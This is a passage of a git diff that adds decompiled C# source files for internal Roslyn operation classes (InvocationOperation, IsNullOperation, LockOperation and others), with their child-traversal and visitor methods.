return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + goto case 1; + case 0: + if (previousIndex + 1 < Children.Length) + { + return (hasNext: true, nextSlot: 0, nextIndex: previousIndex + 1); + } + goto case 1; + case 1: + return (hasNext: false, nextSlot: 1, nextIndex: 0); + default: + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNextReversed(int previousSlot, int previousIndex) + { + if (previousSlot != -1) + { + if (previousSlot != 0) + { + if (previousSlot != int.MaxValue) + { + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + if (!Children.IsEmpty) + { + return (hasNext: true, nextSlot: 0, nextIndex: Children.Length - 1); + } + } + else if (previousIndex > 0) + { + return (hasNext: true, nextSlot: 0, nextIndex: previousIndex - 1); + } + } + return (hasNext: false, nextSlot: -1, nextIndex: 0); + } + + public override void Accept(OperationVisitor visitor) + { + visitor.VisitInvalid(this); + } + + public override TResult? Accept(OperationVisitor visitor, TArgument argument) + { + return visitor.VisitInvalid(this, argument); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/InvocationOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/InvocationOperation.cs new file mode 100644 index 0000000..16c6d91 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/InvocationOperation.cs @@ -0,0 +1,122 @@ +using System.Collections.Immutable; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.Operations; + +internal sealed class InvocationOperation : Operation, IInvocationOperation, IOperation +{ + public IMethodSymbol TargetMethod { get; } + + public ITypeSymbol? ConstrainedToType { get; } + + public IOperation? Instance { get; } + + public bool IsVirtual { get; } + + public ImmutableArray Arguments { get; } + + internal override int ChildOperationsCount => ((Instance != null) ? 1 : 0) + Arguments.Length; + + public override ITypeSymbol? Type { get; } + + internal override ConstantValue? OperationConstantValue => null; + + public override OperationKind Kind => OperationKind.Invocation; + + internal InvocationOperation(IMethodSymbol targetMethod, ITypeSymbol? constrainedToType, IOperation? instance, bool isVirtual, ImmutableArray arguments, SemanticModel? semanticModel, SyntaxNode syntax, ITypeSymbol? type, bool isImplicit) + : base(semanticModel, syntax, isImplicit) + { + TargetMethod = targetMethod; + ConstrainedToType = constrainedToType; + Instance = Operation.SetParentOperation(instance, this); + IsVirtual = isVirtual; + Arguments = Operation.SetParentOperation(arguments, this); + Type = type; + } + + internal override IOperation GetCurrent(int slot, int index) + { + switch (slot) + { + case 0: + if (Instance != null) + { + return Instance; + } + break; + case 1: + if (index < Arguments.Length) + { + return Arguments[index]; + } + break; + } + throw ExceptionUtilities.UnexpectedValue((slot, index)); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNext(int previousSlot, int previousIndex) + { + switch (previousSlot) + { + case -1: + if (Instance != null) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + goto case 0; + case 0: + if (!Arguments.IsEmpty) + { + return (hasNext: true, nextSlot: 1, nextIndex: 0); + } + goto case 2; + case 1: + if (previousIndex + 1 < Arguments.Length) + { + return (hasNext: true, nextSlot: 1, nextIndex: previousIndex + 1); + } + goto case 2; + case 2: + return (hasNext: false, nextSlot: 2, nextIndex: 0); + default: + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNextReversed(int previousSlot, int previousIndex) + { + if ((uint)(previousSlot - -1) > 1u) + { + if (previousSlot != 1) + { + if (previousSlot != int.MaxValue) + { + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + if (!Arguments.IsEmpty) + { + return (hasNext: true, nextSlot: 1, nextIndex: Arguments.Length - 1); + } + } + else if (previousIndex > 0) + { + return (hasNext: true, nextSlot: 1, nextIndex: previousIndex - 1); + } + if (Instance != null) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + } + return (hasNext: false, nextSlot: -1, nextIndex: 0); + } + + public override void Accept(OperationVisitor visitor) + { + visitor.VisitInvocation(this); + } + + public override TResult? Accept(OperationVisitor visitor, TArgument argument) + { + return visitor.VisitInvocation(this, argument); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IsNullOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IsNullOperation.cs new file mode 100644 index 0000000..38ee80a --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IsNullOperation.cs @@ -0,0 +1,81 @@ +using Microsoft.CodeAnalysis.FlowAnalysis; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.Operations; + +internal sealed class IsNullOperation : Operation, IIsNullOperation, IOperation +{ + public IOperation Operand { get; } + + internal override int ChildOperationsCount => (Operand != null) ? 1 : 0; + + public override ITypeSymbol? Type { get; } + + internal override ConstantValue? OperationConstantValue { get; } + + public override OperationKind Kind => OperationKind.IsNull; + + internal IsNullOperation(IOperation operand, SemanticModel? semanticModel, SyntaxNode syntax, ITypeSymbol? type, ConstantValue? constantValue, bool isImplicit) + : base(semanticModel, syntax, isImplicit) + { + Operand = Operation.SetParentOperation(operand, this); + OperationConstantValue = constantValue; + Type = type; + } + + internal override IOperation GetCurrent(int slot, int index) + { + if (slot == 0 && Operand != null) + { + return Operand; + } + throw ExceptionUtilities.UnexpectedValue((slot, index)); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNext(int previousSlot, int previousIndex) + { + if (previousSlot != -1) + { + if ((uint)previousSlot > 1u) + { + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + } + else if (Operand != null) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + return (hasNext: false, nextSlot: 1, nextIndex: 0); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNextReversed(int previousSlot, int previousIndex) + { + if ((uint)(previousSlot - -1) > 1u) + { + if (previousSlot != int.MaxValue) + { + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + if (Operand != null) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + } + return (hasNext: false, nextSlot: -1, nextIndex: 0); + } + + public override void Accept(OperationVisitor visitor) + { + visitor.VisitIsNull(this); + } + + public override TResult? Accept(OperationVisitor visitor, TArgument argument) + { + return visitor.VisitIsNull(this, argument); + } + + public IsNullOperation(SyntaxNode syntax, IOperation operand, ITypeSymbol type, ConstantValue? constantValue) + : this(operand, null, syntax, type, constantValue, isImplicit: true) + { + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IsPatternOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IsPatternOperation.cs new file mode 100644 index 0000000..8fd2d72 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IsPatternOperation.cs @@ -0,0 +1,103 @@ +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.Operations; + +internal sealed class IsPatternOperation : Operation, IIsPatternOperation, IOperation +{ + public IOperation Value { get; } + + public IPatternOperation Pattern { get; } + + internal override int ChildOperationsCount => ((Value != null) ? 1 : 0) + ((Pattern != null) ? 1 : 0); + + public override ITypeSymbol? Type { get; } + + internal override ConstantValue? OperationConstantValue => null; + + public override OperationKind Kind => OperationKind.IsPattern; + + internal IsPatternOperation(IOperation value, IPatternOperation pattern, SemanticModel? semanticModel, SyntaxNode syntax, ITypeSymbol? type, bool isImplicit) + : base(semanticModel, syntax, isImplicit) + { + Value = Operation.SetParentOperation(value, this); + Pattern = Operation.SetParentOperation(pattern, this); + Type = type; + } + + internal override IOperation GetCurrent(int slot, int index) + { + switch (slot) + { + case 0: + if (Value != null) + { + return Value; + } + break; + case 1: + if (Pattern != null) + { + return Pattern; + } + break; + } + throw ExceptionUtilities.UnexpectedValue((slot, index)); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNext(int previousSlot, int previousIndex) + { + switch (previousSlot) + { + case -1: + if (Value != null) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + goto case 0; + case 0: + if (Pattern != null) + { + return (hasNext: true, nextSlot: 1, nextIndex: 0); + } + goto case 1; + case 1: + case 2: + return (hasNext: false, nextSlot: 2, nextIndex: 0); + default: + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNextReversed(int previousSlot, int previousIndex) + { + if ((uint)(previousSlot - -1) > 1u) + { + if (previousSlot != 1) + { + if (previousSlot != int.MaxValue) + { + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + if (Pattern != null) + { + return (hasNext: true, nextSlot: 1, nextIndex: 0); + } + } + if (Value != null) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + } + return (hasNext: false, nextSlot: -1, nextIndex: 0); + } + + public override void Accept(OperationVisitor visitor) + { + visitor.VisitIsPattern(this); + } + + public override TResult? Accept(OperationVisitor visitor, TArgument argument) + { + return visitor.VisitIsPattern(this, argument); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IsTypeOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IsTypeOperation.cs new file mode 100644 index 0000000..8aaf69f --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IsTypeOperation.cs @@ -0,0 +1,80 @@ +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.Operations; + +internal sealed class IsTypeOperation : Operation, IIsTypeOperation, IOperation +{ + public IOperation ValueOperand { get; } + + public ITypeSymbol TypeOperand { get; } + + public bool IsNegated { get; } + + internal override int ChildOperationsCount => (ValueOperand != null) ? 1 : 0; + + public override ITypeSymbol? Type { get; } + + internal override ConstantValue? OperationConstantValue => null; + + public override OperationKind Kind => OperationKind.IsType; + + internal IsTypeOperation(IOperation valueOperand, ITypeSymbol typeOperand, bool isNegated, SemanticModel? semanticModel, SyntaxNode syntax, ITypeSymbol? type, bool isImplicit) + : base(semanticModel, syntax, isImplicit) + { + ValueOperand = Operation.SetParentOperation(valueOperand, this); + TypeOperand = typeOperand; + IsNegated = isNegated; + Type = type; + } + + internal override IOperation GetCurrent(int slot, int index) + { + if (slot == 0 && ValueOperand != null) + { + return ValueOperand; + } + throw ExceptionUtilities.UnexpectedValue((slot, index)); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNext(int previousSlot, int previousIndex) + { + if (previousSlot != -1) + { + if ((uint)previousSlot > 1u) + { + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + } + else if (ValueOperand != null) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + return (hasNext: false, nextSlot: 1, nextIndex: 0); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNextReversed(int previousSlot, int previousIndex) + { + if ((uint)(previousSlot - -1) > 1u) + { + if (previousSlot != int.MaxValue) + { + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + if (ValueOperand != null) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + } + return (hasNext: false, nextSlot: -1, nextIndex: 0); + } + + public override void Accept(OperationVisitor visitor) + { + visitor.VisitIsType(this); + } + + public override TResult? Accept(OperationVisitor visitor, TArgument argument) + { + return visitor.VisitIsType(this, argument); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/LabeledOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/LabeledOperation.cs new file mode 100644 index 0000000..3a27473 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/LabeledOperation.cs @@ -0,0 +1,76 @@ +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.Operations; + +internal sealed class LabeledOperation : Operation, ILabeledOperation, IOperation +{ + public ILabelSymbol Label { get; } + + public IOperation? Operation { get; } + + internal override int ChildOperationsCount => (Operation != null) ? 1 : 0; + + public override ITypeSymbol? Type => null; + + internal override ConstantValue? OperationConstantValue => null; + + public override OperationKind Kind => OperationKind.Labeled; + + internal LabeledOperation(ILabelSymbol label, IOperation? operation, SemanticModel? semanticModel, SyntaxNode syntax, bool isImplicit) + : base(semanticModel, syntax, isImplicit) + { + Label = label; + Operation = Microsoft.CodeAnalysis.Operation.SetParentOperation(operation, this); + } + + internal override IOperation GetCurrent(int slot, int index) + { + if (slot == 0 && Operation != null) + { + return Operation; + } + throw ExceptionUtilities.UnexpectedValue((slot, index)); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNext(int previousSlot, int previousIndex) + { + if (previousSlot != -1) + { + if ((uint)previousSlot > 1u) + { + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + } + else if (Operation != null) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + return (hasNext: false, nextSlot: 1, nextIndex: 0); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNextReversed(int previousSlot, int previousIndex) + { + if ((uint)(previousSlot - -1) > 1u) + { + if (previousSlot != int.MaxValue) + { + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + if (Operation != null) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + } + return (hasNext: false, nextSlot: -1, nextIndex: 0); + } + + public override void Accept(OperationVisitor visitor) + { + visitor.VisitLabeled(this); + } + + public override TResult? Accept(OperationVisitor visitor, TArgument argument) + { + return visitor.VisitLabeled(this, argument); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/ListPatternOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/ListPatternOperation.cs new file mode 100644 index 0000000..4b49836 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/ListPatternOperation.cs @@ -0,0 +1,97 @@ +using System.Collections.Immutable; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.Operations; + +internal sealed class ListPatternOperation : BasePatternOperation, IListPatternOperation, IPatternOperation, IOperation +{ + public ISymbol? LengthSymbol { get; } + + public ISymbol? IndexerSymbol { get; } + + public ImmutableArray Patterns { get; } + + public ISymbol? DeclaredSymbol { get; } + + internal override int ChildOperationsCount => Patterns.Length; + + public override ITypeSymbol? Type => null; + + internal override ConstantValue? OperationConstantValue => null; + + public override OperationKind Kind => OperationKind.ListPattern; + + internal ListPatternOperation(ISymbol? lengthSymbol, ISymbol? indexerSymbol, ImmutableArray patterns, ISymbol? declaredSymbol, ITypeSymbol inputType, ITypeSymbol narrowedType, SemanticModel? semanticModel, SyntaxNode syntax, bool isImplicit) + : base(inputType, narrowedType, semanticModel, syntax, isImplicit) + { + LengthSymbol = lengthSymbol; + IndexerSymbol = indexerSymbol; + Patterns = Operation.SetParentOperation(patterns, this); + DeclaredSymbol = declaredSymbol; + } + + internal override IOperation GetCurrent(int slot, int index) + { + if (slot == 0 && index < Patterns.Length) + { + return Patterns[index]; + } + throw ExceptionUtilities.UnexpectedValue((slot, index)); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNext(int previousSlot, int previousIndex) + { + switch (previousSlot) + { + case -1: + if (!Patterns.IsEmpty) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + goto case 1; + case 0: + if (previousIndex + 1 < Patterns.Length) + { + return (hasNext: true, nextSlot: 0, nextIndex: previousIndex + 1); + } + goto case 1; + case 1: + return (hasNext: false, nextSlot: 1, nextIndex: 0); + default: + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNextReversed(int previousSlot, int previousIndex) + { + if (previousSlot != -1) + { + if (previousSlot != 0) + { + if (previousSlot != int.MaxValue) + { + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + if (!Patterns.IsEmpty) + { + return (hasNext: true, nextSlot: 0, nextIndex: Patterns.Length - 1); + } + } + else if (previousIndex > 0) + { + return (hasNext: true, nextSlot: 0, nextIndex: previousIndex - 1); + } + } + return (hasNext: false, nextSlot: -1, nextIndex: 0); + } + + public override void Accept(OperationVisitor visitor) + { + visitor.VisitListPattern(this); + } + + public override TResult? Accept(OperationVisitor visitor, TArgument argument) + { + return visitor.VisitListPattern(this, argument); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/LiteralOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/LiteralOperation.cs new file mode 100644 index 0000000..7533574 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/LiteralOperation.cs @@ -0,0 +1,46 @@ +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.Operations; + +internal sealed class LiteralOperation : Operation, ILiteralOperation, IOperation +{ + internal override int ChildOperationsCount => 0; + + public override ITypeSymbol? Type { get; } + + internal override ConstantValue? OperationConstantValue { get; } + + public override OperationKind Kind => OperationKind.Literal; + + internal LiteralOperation(SemanticModel? semanticModel, SyntaxNode syntax, ITypeSymbol? type, ConstantValue? constantValue, bool isImplicit) + : base(semanticModel, syntax, isImplicit) + { + OperationConstantValue = constantValue; + Type = type; + } + + internal override IOperation GetCurrent(int slot, int index) + { + throw ExceptionUtilities.UnexpectedValue((slot, index)); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNext(int previousSlot, int previousIndex) + { + return (hasNext: false, nextSlot: int.MinValue, nextIndex: int.MinValue); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNextReversed(int previousSlot, int previousIndex) + { + return (hasNext: false, nextSlot: int.MinValue, nextIndex: int.MinValue); + } + + public override void Accept(OperationVisitor visitor) + { + visitor.VisitLiteral(this); + } + + public override TResult? Accept(OperationVisitor visitor, TArgument argument) + { + return visitor.VisitLiteral(this, argument); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/LocalFunctionOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/LocalFunctionOperation.cs new file mode 100644 index 0000000..516aad3 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/LocalFunctionOperation.cs @@ -0,0 +1,105 @@ +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.Operations; + +internal sealed class LocalFunctionOperation : Operation, ILocalFunctionOperation, IOperation +{ + public IMethodSymbol Symbol { get; } + + public IBlockOperation? Body { get; } + + public IBlockOperation? IgnoredBody { get; } + + internal override int ChildOperationsCount => ((Body != null) ? 1 : 0) + ((IgnoredBody != null) ? 1 : 0); + + public override ITypeSymbol? Type => null; + + internal override ConstantValue? OperationConstantValue => null; + + public override OperationKind Kind => OperationKind.LocalFunction; + + internal LocalFunctionOperation(IMethodSymbol symbol, IBlockOperation? body, IBlockOperation? ignoredBody, SemanticModel? semanticModel, SyntaxNode syntax, bool isImplicit) + : base(semanticModel, syntax, isImplicit) + { + Symbol = symbol; + Body = Operation.SetParentOperation(body, this); + IgnoredBody = Operation.SetParentOperation(ignoredBody, this); + } + + internal override IOperation GetCurrent(int slot, int index) + { + switch (slot) + { + case 0: + if (Body != null) + { + return Body; + } + break; + case 1: + if (IgnoredBody != null) + { + return IgnoredBody; + } + break; + } + throw ExceptionUtilities.UnexpectedValue((slot, index)); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNext(int previousSlot, int previousIndex) + { + switch (previousSlot) + { + case -1: + if (Body != null) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + goto case 0; + case 0: + if (IgnoredBody != null) + { + return (hasNext: true, nextSlot: 1, nextIndex: 0); + } + goto case 1; + case 1: + case 2: + return (hasNext: false, nextSlot: 2, nextIndex: 0); + default: + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNextReversed(int previousSlot, int previousIndex) + { + if ((uint)(previousSlot - -1) > 1u) + { + if (previousSlot != 1) + { + if (previousSlot != int.MaxValue) + { + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + if (IgnoredBody != null) + { + return (hasNext: true, nextSlot: 1, nextIndex: 0); + } + } + if (Body != null) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + } + return (hasNext: false, nextSlot: -1, nextIndex: 0); + } + + public override void Accept(OperationVisitor visitor) + { + visitor.VisitLocalFunction(this); + } + + public override TResult? Accept(OperationVisitor visitor, TArgument argument) + { + return visitor.VisitLocalFunction(this, argument); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/LocalReferenceOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/LocalReferenceOperation.cs new file mode 100644 index 0000000..f472297 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/LocalReferenceOperation.cs @@ -0,0 +1,52 @@ +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.Operations; + +internal sealed class LocalReferenceOperation : Operation, ILocalReferenceOperation, IOperation +{ + public ILocalSymbol Local { get; } + + public bool IsDeclaration { get; } + + internal override int ChildOperationsCount => 0; + + public override ITypeSymbol? Type { get; } + + internal override ConstantValue? OperationConstantValue { get; } + + public override OperationKind Kind => OperationKind.LocalReference; + + internal LocalReferenceOperation(ILocalSymbol local, bool isDeclaration, SemanticModel? semanticModel, SyntaxNode syntax, ITypeSymbol? type, ConstantValue? constantValue, bool isImplicit) + : base(semanticModel, syntax, isImplicit) + { + Local = local; + IsDeclaration = isDeclaration; + OperationConstantValue = constantValue; + Type = type; + } + + internal override IOperation GetCurrent(int slot, int index) + { + throw ExceptionUtilities.UnexpectedValue((slot, index)); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNext(int previousSlot, int previousIndex) + { + return (hasNext: false, nextSlot: int.MinValue, nextIndex: int.MinValue); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNextReversed(int previousSlot, int previousIndex) + { + return (hasNext: false, nextSlot: int.MinValue, nextIndex: int.MinValue); + } + + public override void Accept(OperationVisitor visitor) + { + visitor.VisitLocalReference(this); + } + + public override TResult? Accept(OperationVisitor visitor, TArgument argument) + { + return visitor.VisitLocalReference(this, argument); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/LockOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/LockOperation.cs new file mode 100644 index 0000000..86ee1df --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/LockOperation.cs @@ -0,0 +1,105 @@ +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.Operations; + +internal sealed class LockOperation : Operation, ILockOperation, IOperation +{ + public IOperation LockedValue { get; } + + public IOperation Body { get; } + + public ILocalSymbol? LockTakenSymbol { get; } + + internal override int ChildOperationsCount => ((LockedValue != null) ? 1 : 0) + ((Body != null) ? 1 : 0); + + public override ITypeSymbol? Type => null; + + internal override ConstantValue? OperationConstantValue => null; + + public override OperationKind Kind => OperationKind.Lock; + + internal LockOperation(IOperation lockedValue, IOperation body, ILocalSymbol? lockTakenSymbol, SemanticModel? semanticModel, SyntaxNode syntax, bool isImplicit) + : base(semanticModel, syntax, isImplicit) + { + LockedValue = Operation.SetParentOperation(lockedValue, this); + Body = Operation.SetParentOperation(body, this); + LockTakenSymbol = lockTakenSymbol; + } + + internal override IOperation GetCurrent(int slot, int index) + { + switch (slot) + { + case 0: + if (LockedValue != null) + { + return LockedValue; + } + break; + case 1: + if (Body != null) + { + return Body; + } + break; + } + throw ExceptionUtilities.UnexpectedValue((slot, index)); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNext(int previousSlot, int previousIndex) + { + switch (previousSlot) + { + case -1: + if (LockedValue != null) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + goto case 0; + case 0: + if (Body != null) + { + return (hasNext: true, nextSlot: 1, nextIndex: 0); + } + goto case 1; + case 1: + case 2: + return (hasNext: false, nextSlot: 2, nextIndex: 0); + default: + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNextReversed(int previousSlot, int previousIndex) + { + if ((uint)(previousSlot - -1) > 1u) + { + if (previousSlot != 1) + { + if (previousSlot != int.MaxValue) + { + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + if (Body != null) + { + return (hasNext: true, nextSlot: 1, nextIndex: 0); + } + } + if (LockedValue != null) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + } + return (hasNext: false, nextSlot: -1, nextIndex: 0); + } + + public override void Accept(OperationVisitor visitor) + { + visitor.VisitLock(this); + } + + public override TResult? Accept(OperationVisitor visitor, TArgument argument) + { + return visitor.VisitLock(this, argument); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/LoopKind.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/LoopKind.cs new file mode 100644 index 0000000..2a6103a --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/LoopKind.cs @@ -0,0 +1,10 @@ +namespace Microsoft.CodeAnalysis.Operations; + +public enum LoopKind +{ + None, + While, + For, + ForTo, + ForEach +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/MemberInitializerOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/MemberInitializerOperation.cs new file mode 100644 index 0000000..9bcbd74 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/MemberInitializerOperation.cs @@ -0,0 +1,103 @@ +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.Operations; + +internal sealed class MemberInitializerOperation : Operation, IMemberInitializerOperation, IOperation +{ + public IOperation InitializedMember { get; } + + public IObjectOrCollectionInitializerOperation Initializer { get; } + + internal override int ChildOperationsCount => ((InitializedMember != null) ? 1 : 0) + ((Initializer != null) ? 1 : 0); + + public override ITypeSymbol? Type { get; } + + internal override ConstantValue? OperationConstantValue => null; + + public override OperationKind Kind => OperationKind.MemberInitializer; + + internal MemberInitializerOperation(IOperation initializedMember, IObjectOrCollectionInitializerOperation initializer, SemanticModel? semanticModel, SyntaxNode syntax, ITypeSymbol? type, bool isImplicit) + : base(semanticModel, syntax, isImplicit) + { + InitializedMember = Operation.SetParentOperation(initializedMember, this); + Initializer = Operation.SetParentOperation(initializer, this); + Type = type; + } + + internal override IOperation GetCurrent(int slot, int index) + { + switch (slot) + { + case 0: + if (InitializedMember != null) + { + return InitializedMember; + } + break; + case 1: + if (Initializer != null) + { + return Initializer; + } + break; + } + throw ExceptionUtilities.UnexpectedValue((slot, index)); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNext(int previousSlot, int previousIndex) + { + switch (previousSlot) + { + case -1: + if (InitializedMember != null) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + goto case 0; + case 0: + if (Initializer != null) + { + return (hasNext: true, nextSlot: 1, nextIndex: 0); + } + goto case 1; + case 1: + case 2: + return (hasNext: false, nextSlot: 2, nextIndex: 0); + default: + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNextReversed(int previousSlot, int previousIndex) + { + if ((uint)(previousSlot - -1) > 1u) + { + if (previousSlot != 1) + { + if (previousSlot != int.MaxValue) + { + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + if (Initializer != null) + { + return (hasNext: true, nextSlot: 1, nextIndex: 0); + } + } + if (InitializedMember != null) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + } + return (hasNext: false, nextSlot: -1, nextIndex: 0); + } + + public override void Accept(OperationVisitor visitor) + { + visitor.VisitMemberInitializer(this); + } + + public override TResult? Accept(OperationVisitor visitor, TArgument argument) + { + return visitor.VisitMemberInitializer(this, argument); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/MethodBodyOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/MethodBodyOperation.cs new file mode 100644 index 0000000..ace0eaa --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/MethodBodyOperation.cs @@ -0,0 +1,96 @@ +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.Operations; + +internal sealed class MethodBodyOperation : BaseMethodBodyBaseOperation, IMethodBodyOperation, IMethodBodyBaseOperation, IOperation +{ + internal override int ChildOperationsCount => ((base.BlockBody != null) ? 1 : 0) + ((base.ExpressionBody != null) ? 1 : 0); + + public override ITypeSymbol? Type => null; + + internal override ConstantValue? OperationConstantValue => null; + + public override OperationKind Kind => OperationKind.MethodBody; + + internal MethodBodyOperation(IBlockOperation? blockBody, IBlockOperation? expressionBody, SemanticModel? semanticModel, SyntaxNode syntax, bool isImplicit) + : base(blockBody, 